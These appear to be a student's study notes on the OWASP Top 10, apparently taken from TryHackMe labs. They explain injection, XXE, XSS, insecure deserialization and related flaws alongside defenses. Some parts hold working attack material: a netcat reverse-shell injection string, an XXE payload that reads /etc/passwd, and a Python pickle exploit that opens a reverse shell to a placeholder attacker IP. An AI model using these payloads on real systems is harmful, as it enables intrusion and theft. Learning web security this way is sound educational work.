OWASP Top 10 [Old,Summarized]
Top 10 OWASP:
intro:
1 Injection
2 Broken Authentication
3 Sensitive Data Exposure
4 XML External Entity
5 Broken Access Control
6 Security Misconfiguration
7 Cross-site Scripting
8 Insecure Deserialization
9 Components with Known Vulnerabilities
10 Insufficent Logging & Monitoring
------------------------------------------------------------------------------------------
[Severity 1] Injection
------------------------------------------------------------------------------------------
- injection occur because user controlled input is interpreted as actual commands or parameters by the application. it depends on what technologies are being used and how the input is interpreted
examples:
* SQL injection: This occurs when user controlled input is passed to SQL queries. therefore the attacker can pass in sql queries to manipulate the outcome of such queries
* command injection: This occurs when user input is passed as a system commands, the attacker is able to execute arbitrary system commands on applications
- if an attacker was able tp be successful on passing their input, they would be able to do the following.
* Access, modify and delete information in a database (if input is passed into database queries.)
Attacker can steal information such as credentials ...etc
* Execute Arbitrary system commands on a server, the attacker can gain access to user's system, steal sensitive info and carry out more attacks against the infrastructure that is linked to the server
How to defend?
By ensuring that user controlled input is not interpreted as queries or commands
-> Using an allow list: the input that is sent to the server need to be compared with a list of sape input or characters, it can only be processed if its marked as safe.
-> Stripping input if they contains dangerous characters before they are processed.
More info
Dangerous characters or input is classified as any input that can change how the underlying data is processed. Instead of manually constructing allow lists or even just stripping input, there are various libraries that perform these actions for you.
------------------------------------------------------------------------------------------
[Severity 1] OS Command Injection
------------------------------------------------------------------------------------------
- It occurs when a server-side code like php in a webapp makes a syscall on the host. this web vuln allows an attacker to take advantage of that syscall to exec os commands on the server. The worst thing could happen is to spawn a reverse shell to become the user
A simple ";nc -e /bin/bash" is all that's needed and they own the server.
btw: some variants of netcat don't support the -e option. alternatives: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md (PayloadsAllTheThings)
Once that attacker has a foothold on the web server they can start the usual enumeration of the system, look around and pivot.
------------------------------------------------------------------------------------------
[Severity 1] Command Injection Practical
------------------------------------------------------------------------------------------
- Blind commands injection occures when the sys commands made to the server does not return the response in html doc.
- Active command injection will return the response to the user.
PHP passthru: (PHP 4, PHP 5, PHP 7, PHP 8)
- passthru -- Execute an external program and display raw output.
This functions is similar to the exec(), it executes a command.
This function should be used in place of exec() or system() when the output from the Unix commands is binary data, needs to be passed directly back to the browser.
php code example:
-----------------------------------------------------------------
<?php |
|
if(isset($_GET["commandString"])) { |
$command_string = $_GET["commandString"]; |
|
try{ |
passthru($command_string); |
} catch(Error $error) { |
echo "<p class=mt-3><b> $error </b> </p>" |
} |
} |
?> |
-----------------------------------------------------------------
Detect avtive command injection:
- command injection occurs when you can see the response from the system call. the above code has the function passthru() which is actually doing all of the work. passthru() is passing the response directly to the html doc.
- the function passthru() may not always be what is happening behind the scenes.
Commands to try
-------------------------------------
Linux
-------------------------------------
-> whoami
-> id
-> ifconfig/ip addr
-> uname -a
-> ps -ef
-------------------------------------
Windows
-------------------------------------
-> whoami
-> ver
-> ipconfig
-> tasklist
-> netstat -an
-------------------------------------
commands used to finish this task
1. cat /etc/passwd | grep "www"
2. cat /etc/os-release
3. id
4. w
5. ls -la ./
6. ls -l /etc | grep "motd"
7. ls -l /etc/update-motd.d
8. cat /etc/update-motd.d/00-header
-----------------------------------------------------------------------------------------------------------------------------
[Severity 2] Broken Authentication
-----------------------------------------------------------------------------------------------------------------------------
- Authentication and session management constitue core components of modern web applications.
- Authentication allows users to gain access to web applications by verifying their identities.
- The most common form of authentication is using a username and password mechanism.
- A user would enter these credentials, the server would verify them. if they are correct, the server would then provide the user's browser with a session cookie.
- A session cookie is needed because web servers use HTTP(s) to communicate, which is stateless.
- Attaching session cookies means that the server will know who is sending what data. The server can then keep track of users' actions.
-------------------------------------------------------------------------------------
- If an attacker is able to find flaws in an authentication mechanism, they would then successfully gain access to other users' account.
- This would allow the attacker to access sensitive data.
* Some common flaws in authentication mechanisms include:
1. Brute force attacks: if a webapp uses usernames and password, an attacker is able to launch bruteforce attacks that allow them to guess the username and passwords using multiple authentication attemtps.
2. Use of weak credentials: web applications should set strong policies.If applications allow users to set passwords such as 'password1' or common passwords, then an attacker is able to easily guess them and access user accounts. They can do this without brute forcing and without multiple attempts.
3. Weak session cookies: Session cookies are how the server keeps track of users. If session cookies contain predictable values, an attacker can set their own session cookies and access users' accounts.
- There can be various mitigation for broken authentication mechanisms depending on the exact flaw:
------------------------------------------------------------------------------------------
[Defending: various mitigation for broken authentication mechanisms depending on the exact flaw]
1. To avoid password guessing attacks, ensure the application enforces a strong password policy.
2. To avoid brute force attacks, ensure that the application enforces an automatic lockout after a certain number of attempts. This would prevent an attacker from launching more brute force attacks.
3. Implement multi factor authentication - if a user has multiple methods of authentication for eg: username+passwords+code on phone. Then it would be more difficult for an attacker to get access to both credentials to get access to their account.
------------------------------------------------------------------------------------------
[Severity 2] Broken Authentication Practical
> register a user name darren
> user already exists
> try to register a user " darren" (with a space in the beginning)
> we are now logged in as darren
------------------------------------------------------------------------------------------
[Severity 3] Sensitive Data Exposure (Introduction)
- When a webapp accidentally divulges sensitive data, we refer to it as sensitive data exposure.
- This is often data directly linked to customers (eg names, dates of bith, financial information ...etc) but could also be more technical information, such as usernames and passwords.
- At more complex levels this often involves techniques such as a "Man in The Middle Attack". The attacker can force user connection through a device which they control, then take advantage of weak encryption on any transmitted data to gain access to the intercepted informatuon (if the data is even encrypted in the first place)
------------------------------------------------------------------------------------------
[Severity 3] Sensitive Data Exposure (Supporting Material 1) | *
--------------------------------------------------------------
The common way to store a large amount of data in a format that is easily accessible from many locations at once is in a database.
This is obviously perfect for something like a web application, as there may be many users interacting with the website at any one time. Database egines usually follow SQL syntax, or some alternative like NoSQL
In a production environment it is common to see databases set up on dedicated servers, running a database service such as MySQL or MariaDB;
however, databases can also be stored as files.
These databases are referred to as "flat-file" databases, as they are stored as a single file on the computer.
This is much easier than setting up a full database server, and so could potentially be seen in smaller web applications.
Accessing a database server is outwith the scope of today's task, so let's focus instead on flat-file databases.
---------------------------------------------------------
flat-file databases: They are stored as a file on the disk of a computer. Usually this would not be a problem for a webapp, but what happens if the database is stored underneath the root directory of the website......
(Well, we can download it and query it on our own machine, with full access to everything in the database. Sensitive Data Exposure indeed!)
To access the flat file database:
syntax: sqlite3 <database-name>(example.db)
* We can see the tables in the database by using the .tables command
* PRAGMA table_info(customers); to see the table information
* SELECT * FROM customers; to dump the information from the table
------------------------------------------------------------------------------------------
[Severity 3] Sensitive Data Exposure (Supporting Material 2) | *
--------------------------------------------------------------
Online hash cracker: https://crackstation.net/
This website is extremely good at cracking weak password hashes.
Weak MD5 hashes are handled nicely with crackstation.
Crackstation works using a massive wordlist.
------------------------------------------------------------------------------------------
[Severity 3] Sensitive Data Exposure (Challenge)
> dirbuster
> /assets/webapp.db
> .tables
> .dump
> crackstation
> loging to /login
> flag
------------------------------------------------------------------------------------------
[Severity 4] XML External Entity [XEE] | *
----------------------------------------
- XXE attack is a vulnerability that abusess features of XML parsers/data.
- Allows an attacker to interact with any backend or external systems that the application itself can access and can allow the attacker to read the file on that system.
- They can also cause Denial Of Service (DoS) attack
- Could use XXE to perform Server-Sider Request Foregery (SSRF) inducing the web application to make requests to other applications.
- XXE may even enable port scanning and lead to remote remote code execution.
*There are two types of XXE attacks: in-band and out-of-band(OOB-XXE)*
1) An in-band XXE attacl is the one in which the attacker can receive an immediate response to the XXE payload.
2) out-of-band XXE attacks (also called blind xxe), there is no immediate response from the web application and attacker has to reflect the output of their xxe payload to some other file or their own server
------------------------------------------------------------------------------------------
[Severity 4 XML External Entity - eXtensible Markup Language | *
--------------------------------------------------------------
What is XML?
XML (eXtensible Markup Language) is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. It is a markup language used for storing and transporting data.
Why we use XML?
1. XML is platform-independent and programming language independent, thus it can be used on any system and supports the technology change when that happens.
2. The data stored and transported using XML can be changed at any point in time without affecting the data presentation.
3. XML allows validation using DTD and Schema. This validation ensures that the XML document is free from any syntax error.
4. XML simplifies data sharing between various systems because of its platform-independent nature. XML data doesn’t require any conversion when transferred between different systems.
Syntax
Every XML document mostly starts with what is known as XML Prolog.
<?xml version="1.0" encoding="UTF-8"?>
- Above the line is called XML prolog and it specifies the XML version and the encoding used in the XML document.
- This line is not compulsory to use but it is considered a `good practice` to put that line in all your XML documents.
---------------------
Every XML document must contain a `ROOT` element. For example:
---------------------
-----------------------------------------
<?xml version="1.0" encoding="UTF-8"?> |
<mail> |
<to>falcon</to> |
<from>feast</from> |
<subject>About XXE</subject> |
<text>Teach about XXE</text> |
</mail> |
-----------------------------------------
In the above example the <mail> is the ROOT element of that document and <to>, <from>, <subject>, <text> are the children elements. If the XML document doesn't have any root element then it would be consideredwrong or invalid XML doc.
Another thing to remember is that XML is a case sensitive language. If a tag starts like <to> then it has to end by </to> and not by something like </To>(notice the capitalization of T)
Like HTML we can use attributes in XML too. The syntax for having attributes is also very similar to HTML. For example:
<text category = "message">You need to learn about XXE</text>
In the above example category is the attribute name and message is the attribute value.
------------------------------------------------------------------------------------------
[Severity 4] XML External Entity - DTD | *
----------------------------------------
DTD stands for Document Type Definition. A DTD defines the structure and the legal elements and attributes of an XML document.
* Example of DTD: note.dtd
--------------------------------------------------------------
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> |
<!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> |
<!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> |
--------------------------------------------------------------
- We can use this DTD to validate the information of some XML document and make sure that the XML file conforms to the rules of that DTD.
------------------------------------
* Example of XML document that uses the note.dtd(the above e.g):
----------------------------------------
<?xml version="1.0" encoding="UTF-8"?> |
<!DOCTYPE note SYSTEM "note.dtd"> |
<note> |
<to>falcon</to> |
<from>feast</from> |
<heading>hacking</heading> |
<body>XXE attack</body> |
</note> |
-----------------------------------------
=> How that DRD validates the XML? and What all those terms used in note.dtd means?
1. !DOCTYPE note - Defines a root element of the document named note
2. !ELEMENT note - Defines that the note element must contain the elements: "to, from, heading, body"
3. !ELEMENT to - Defines the to element to be of type "#PCDATA"
4. !ELEMENT from - Defines the from element to be of type "#PCDATA"
5. !ELEMENT heading - Defines the heading element to be of type "#PCDATA"
6. !ELEMENT body - Defines the body element to be of type "#PCDATA"
NOTE: #PCDATA means parseable character data.
------------------------------------------------------------------------------------------
[Severity 4] XML External Entity - XXE Payload | *
------------------------------------------------
1) The first payload we'll see is very simple. If you've read the previous task properly then you'll understand this payload very easily.
------------------------------------------------
<!DOCTYPE replace [<!ENTITY name "feast"> ]> |
<userInfo> |
<firstName>falcon</firstName> |
<lastName>&name;</lastName> |
</userInfo> |
------------------------------------------------
As we can see we are defining a ENTITY called name and assigning it a value feast.
Later we are using that ENTITY in our code.
2) We can also use XXE to read some file from the system by defining an ENTITY and having it use the SYSTEM keyword
--------------------------------------------------------------
<?xml version="1.0"?> |
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]> |
<root>&read;</root> |
--------------------------------------------------------------
Here again, we are defining an ENTITY with the name read but the difference is that we are setting it value to `SYSTEM` and path of the file.
If we use this payload then a website vulnerable to XXE(normally) would display the content of the file /etc/passwd.
In a similar manner, we can use this kind of payload to read other files but a lot of times you can fail to read files in this manner or the reason for failure could be the file you are trying to read.
------------------------------------------------------------------------------------------
[Severity 5] Broken Access Control |
------------------------------------
A regular visitor being able to access protected pages, can lead to the following:
* Being able to view sensitive information
* Accessing unauthorized functionality
OWASP have listed a few attack scenarios demonstrating access control weaknesses:
Scenario #1:
The application uses unverified data in a SQL call that is accessing account information:
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
=> An attacker simply modifies the 'acct' parameter in the browser to send whatever account number they want. If not properly verified, the attacker can access any user's account.
http://example.com/app/accountInfo?acct=notmyacct
Scenario #2:
=> An attacker simply force browsers to target URLs. Admin rights are required for access to the admin page.
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
* If an unauthenticated user can access either page, it's a flaw.
* If a non-admin can access the admin page, this is a flaw
refrence: https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A5-Broken_Access_Control
Broken access control allows attackers to bypass authorization which can allow them to view sensitive data or perform tasks as if they were a priviliged user.
------------------------------------------------------------------------------------------
[Severity 5] Broken Access Control (IDOR Challenge) | *
------------------------------------------------------
IDOR: Insecure Driect Object Reference, is the act of exploiting a misconfiguration in the way user input is handled. to access resources you would not ordinarily be able to access. IDOR is a type of access control vulnerability.
------------------------------------------------------------------------------------------
[Severity 6] Security Misconfiguration | *
-------------------------------------------------
Security Misconfiguration are distinct from the other top 10 vulnerabilities, because they occur when security could have been configured properly but was .... not !!
It includes:
* Poorly configured permissions on cloud services, like S3 buckets
* Having unnecessary features enabled, like services, pages, accounts or priviliges
* Default accounts with unchanged passwords
* Error messages that are overly detailed and allow an attacker to find out more abou the system
* Not using HTTP security headers, or revealing too much detail in the server http header
reference: https://owasp.org/www-project-secure-headers/
source: https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A6-Security_Misconfiguration
----------------------------------------------------------------------------------------------------------
[Severity 7] Cross-site Scripting | *
-----------------------------------
Cross-site Scripting (XSS) is a security vulnerability typically found in web applications.
It's a type of injection which can allow an attacker to execute malicious scripts and have it execute on a victim's machine
- If a webapplication uses unsanitized user input, it can be vulnerable to XSS.
- XSS is possible in the following languages: Javascript, VBScript, Flash and CSS
* Three main types of XSS:
1) Stored XSS: The most dangerous type of XSS. This is where a malicious string originates from the website's database. This often happens when a website allows user input that is not sanitised, or in other word "get the bad parts of a user input removed", when inserted into the databse.
2) Reflected XSS: The malicious payload is part of the victims request to the website. The website includes this payload in response back to the user. To summarise, an attacker needs to trick a victim into clicking a URL to execute their malicious payload.
3) DOM-Based XSS: DOM stands for Document Object Model and is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style and content. A web page is a document and this document can be either displayed in the browser windows or as the HTML source.
more exercises: https://tryhackme.com/room/xss
* XSS Paylaods:
- Popup's (<script>alert(“Hello World”)</script>) - Creates a Hello World message popup on a users browser.
- Writing HTML (document.write) - Override the website's HTML to add your own (essentially defacing the entire page).
- XSS Keylogger (http://www.xss-payloads.com/payloads/scripts/simplekeylogger.js.html) - You can log all keystrokes of a user, capturing their password and other sensitive information they type into the webpage.
- Port scanning (http://www.xss-payloads.com/payloads/scripts/portscanapi.js.html) - A mini local port scanner (more information on this is covered in the TryHackMe XSS room).
XSS-Payloads.com (http://www.xss-payloads.com/) is a website that has XSS related Payloads, Tools, Documentation and more. You can download XSS payloads that take snapshots from a webcam or even get a more capable port and network scanner.
https://github.com/payloadbox/xss-payload-list
----------------------------------------------------------------------------------------------------------
[Severity 8] Insecure Deserialization | *
--------------------------------------
"Insecure Deserialization is a vulnerability which occurs when untrusted data is used to abuse the logic of an application" (Acunetix., 2017)
----------------------------------------------------------------------------------------------------------
* This definition is still quite broad to say the least. Simply, insecure deserialization is replacing data processed by an application with malicious code, allowing anything from DoS to RCE that the attacker can use to gain a foothold in a pentesting scenario.
* Specifically, this malicious code leverages the legitimate serialization and deserialization process used by web applications.
- OWASP rank this vulnerability as 8 out of 10 because of the following reasons:
1) Low exploitability. This vulnerability is often a case-by-case basis - there is no reliable tool/framework for it. Because of its nature, attackers need to have a good understanding of the inner-workings of the ToE.
2) - The exploit is only as dangerous as the attacker's skill permits, more so, the value of the data that is exposed. For example, someone who can only cause a DoS will make the application unavailable. The business impact of this will vary on the infrastructure - some organisations will recover just fine, others, however, will not.
Any application that stores or fetches data where there are no validations or integrity checks in place for the data queried or retained, can be vulnerable.
example:
- E-commerce Sites.
- Forums
- API's
- Application Runtimes (Tomcat, Jenkins, Jboss, ...etc)
----------------------------------------------------------------------------------------------------------
[Severity 8] Insecure Deserialization - Objects | *
-------------------------------------------------
* A prominent element of object-oriented programming (OOP), objects are made up of two things:
- State
- Behaviour
* Objects allow you to create similar lines of code without having to do the leg-work of writing the same lines of code again.
=> For example, a lamp would be a good object. Lamps can have different types of bulbs, this would be their state, as well as being either on/off - their behaviour. You can use methods to simply alter the state and behaviour of the lamp.
----------------------------------------------------------------------------------------------------------
[Severity 8] Insecure Deserialization - Deserialization | *
---------------------------------------------------------
- De(Serialization)
A Tourist approaches you in the street asking for directions.
They're looking for a local landmark and got lost.
Unfortunately, English isn't their strong point and nor do you speak their dialect either.
* What do you do?
=> You draw a map of the route to the landmark because pictures cross language barriers, they were able to find the landmark.
=>> You've just serialised some information, where the tourist then deserialised it to find the landmark.
Serialisation is the process of converting objects used in programming into simpler, compatible formatting for transmitting between systems or networks for further processing or storage.
Alternatively, deserialisation is the reverse of this : converting serialised information into their complex form - an object that the application will understand.
e.g Say you have a password of "password123" from a program that needs to be stored in a database on another system. To travel across a network this string/output needs to be converted to binary. Of course, the password needs to be stored as "password123" and not its binary notation. Once this reaches the database, it is converted or deserialised back into "password123" so it can be stored.
https://i.imgur.com/ZB76mLI.png
----------------------------------------------------------------------------------------------------------------
[Severity 8] Insecure Deserialization - Cookies 101 | *
-----------------------------------------------------
1- Cookies are an essential tool for modern websites to function.
2- Tiny pieces of data, these are created by a website and stored on the user's computer.
3- Websites use these cookies to store user-specific behaviours like items in their shopping cart or session IDs.
4- Cookies are not permanent storage solutions like databases. Some cookies such as session ID's will clear when the browser is closed, others, however, last considerably longer. This is determined by the "Expiry" timer that is set when the cookie is created.
Some cookies have additional attributes, a small list of these are below:
* Cookie Name: The name of the cookie to be set
* Cookie Value: Value, this can be anything plaintext or encoded
* Secure Only: If set, this cookie will only be set over HTTPS connections
* Expiry: Set a timestamp where the cookie will be removed from the browser
* Path: The cookie will only be sent if the specified URL is within the request
-------------------------------------------------------
Creating cookies
-------------------------------------------------------
Cookies can be set in various website programming languages.
For example: Javascript, PHP or python.
The following web application is developed using Python's Flask, so it is fitting to use it as an example.
-------------------------------------------------------
| dateTime = datetime.now() |
| timestamp = str(datetime) |
| resp.set_cookie("registrationTimestamp", timestamp) |
-------------------------------------------------------
Setting cookies in Flash is rather trivial.
Simply, this snippet gets the current date and time, stores it within the variable "timestamp" and then stores the date and time in a cookie named "registrationTimestamp".
This is what it will look like in the browser.
https://i.imgur.com/I4oUGsn.png
----------------------------------------------------------------------------------------------------------------
[Severity 8] Insecure Deserialization - Cookies Practical | *
-----------------------------------------------------------
cookie value can be changed
cookie value can be base 64 and decoded
----------------------------------------------------------------------------------------------------------------
[Severity 8] Insecure Deserialization - Code Execution | *
-----------------------------------------------------------
What makes this form vulnerable?
If a user was to enter their feedback, the data will get encoded and sent to the Flask application (presumably for storage within a database for example). However, the application assumes that any data encoded is trustworthy. But we're hackers. You can only trust us as far as you can fling us (and that's nigh-on impossible online)
it's important to understand what's going on in the snippet below:
-----------------------------------------------------------------
| cookie = { "replaceme":payload} |
| pickle_payload = pickle.dumps(cookie) |
| encodedPayloadCookie = base64.b64encode(pick_payload) |
| resp = make_response(redirect("/myprofile")) |
| resp = set_cookie("encodedPayload", encodedPayloadCookie) |
-----------------------------------------------------------------
When you visit the "Exchange your vim" URL, A cookie is encoded and stored within your browser - perfect for us to modify! Once you visit the feedback form, the value of this cookie is decoded and then deserialised. Uh oh. In the snippet below, we can see how the cookie is retrieved and then deserialized via pickle.loads
-------------------------------------------------------------
| cookie = request.cookie.get("encodedPayload") |
| cookie = pickle.loads(base64.b64decode(cookie)) |
-------------------------------------------------------------
This vulnerability exploits Python Pickle.
python base64 payload to cookie:
--------------------------------------------------------------------------------------------------------------------------
| import pickle |
| import sys |
| import base64 |
| |
| command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f' |
| |
| class rce(object): |
| def __reduce__(self): |
| import os |
| return (os.system,(command,)) |
| |
| print(base64.b64encode(pickle.dumps(rce()))) |
--------------------------------------------------------------------------------------------------------------------------
[Severity 9] Components With Known Vulnerabilities - Intro | *
------------------------------------------------------------
while pentesting, we might notice a software that already has a well documented vulnerability.
e.g: not updated wordpress website
- Using wpscan you find its 4.6, quikc research using google dorks you will find: WordPress 4.6 is vulnerable to an unauthenticated remote code execution(RCE) exploit
https://www.exploit-db.com/exploits/41962
As you can see this would be quite devastating, because it requires very little work on the part of the attacker as often times since the vulnerability is already well known, someone else has made an exploit for the vulnerability. The situation becomes even worse when you realize, that it's really quite easy for this to happen, if a company misses a single update for a program they use, they could be vulnerable to any number of attacks.
-----------------------------------------------------------------------------------------------------------------------------
[Severity 9] Components With Known Vulnerabilities - Exploit | *
--------------------------------------------------------------
https://imgur.com/bSuhuhp.png Nostromo 1.9.6
This server is using the default page for the nostromo web server.
Now that we have a version number and a software name, we can use exploit-db to try and find an exploit for this particular version.
Lucky us, the top result happens to be an exploit script. Let's download it and try and to get code execution. Running this script on it's own actually teaches us a very important lesson.
It may not work the first time. It helps to have an understanding of the programming language that the script is in, so that if needed you can fix any bugs or make any modifications, as quite a few scripts on exploit-db expect you to make modifications.
Now it's important to note here that most scripts will just tell you what arguments you need to provide, exploit developers will rarely make you read potentially hundreds of lines of codes just to figure out how to use the script.
It is also worth noting that it may not always be this easy, sometimes you will just be given a version number like in this case, but other times you may need to dig through the HTML source, or even take a lucky guess on an exploit script, but realistically if it is a known vulnerability, there's probably a way to discover what version the application is running.
-----------------------------------------------------------------------------------------------------------------------------
[Severity 9] Components With Known Vulnerabilities - Lab | *
----------------------------------------------------------
wc -c /etc/passwd (get characters count)
https://www.exploit-db.com/exploits/47887
-----------------------------------------------------------------------------------------------------------------------------
[Severity 10] Insufficient Logging and Monitoring | *
---------------------------------------------------
- When web applications are set up, every action performed by the user should be logged.
- Logging is important because in the event of an incident, the attackers actions can be traced.
- Once their actions are traced, their risk and impact can be determined.
- Without logging, there would be no way to tell what actions an attacker performed if they gain access to particular web applications
* The bigger impacts of these include:
1) Regulatory damage: if an attacker has gained access to perfonally identifiable user information and there is no record of this, not only are users of the application affected, but the application owners may be subject to fines or more severe actions depending on regulations.
2) Risk of further attacks: without logging, the presence of an attacker may be undetected. This could allow an attacker to launch further attacks against web application owners by stealing credentials, attacking infrastructure and more.
=> The information stored in logs should include:
* HTTP status codes
* Time Stamps
* Usernames
* API endpoints/page locations
* IP addresses
These logs do have some sensitive information on them so its important to ensure that logs are stored securely and multiple copies of these logs are stored at different locations.
Logging is more important after a breach or incident has occurred.
The ideal case is having monitoring in place to detect any suspicious activity.
The aim of detecting this suspicious activity is to either stop the attacker completely or reduce the impact they've made if their presence has been detected much later than anticipated.
Common examples of suspicious activity includes:
1) multiple unauthorised attempts for a particular action(usually authentication attempts or access to unauthorised resource like admin pages)
2) requests from anomalous IP addresses or locations: while this can indicate that someone else is trying to access a particular user's account, it can also have a false positive rate.
3) use of automated tools: particular automated tooling can be easily identifiable e.g using the value of User-Agent headers or the speed of requests. This can indicate an attacker is using automated tooling.
4) common payloads: in web applications, it's common for attackers to use xss payloads. Detecting the use of these payloads can indicate the presence of someone conducting unauthorised/malicious testing on applications.
Just detecting suspicious activity isn't helpful. This suspicious activity needs to be rated according to the impact level. For example, certain actions will higher impact than others. These higher impact actions need to be responded to sooner thus they should raise an alarm which raises the attention of the relevant party.
------------------------------------------------------------------------------------------
Comments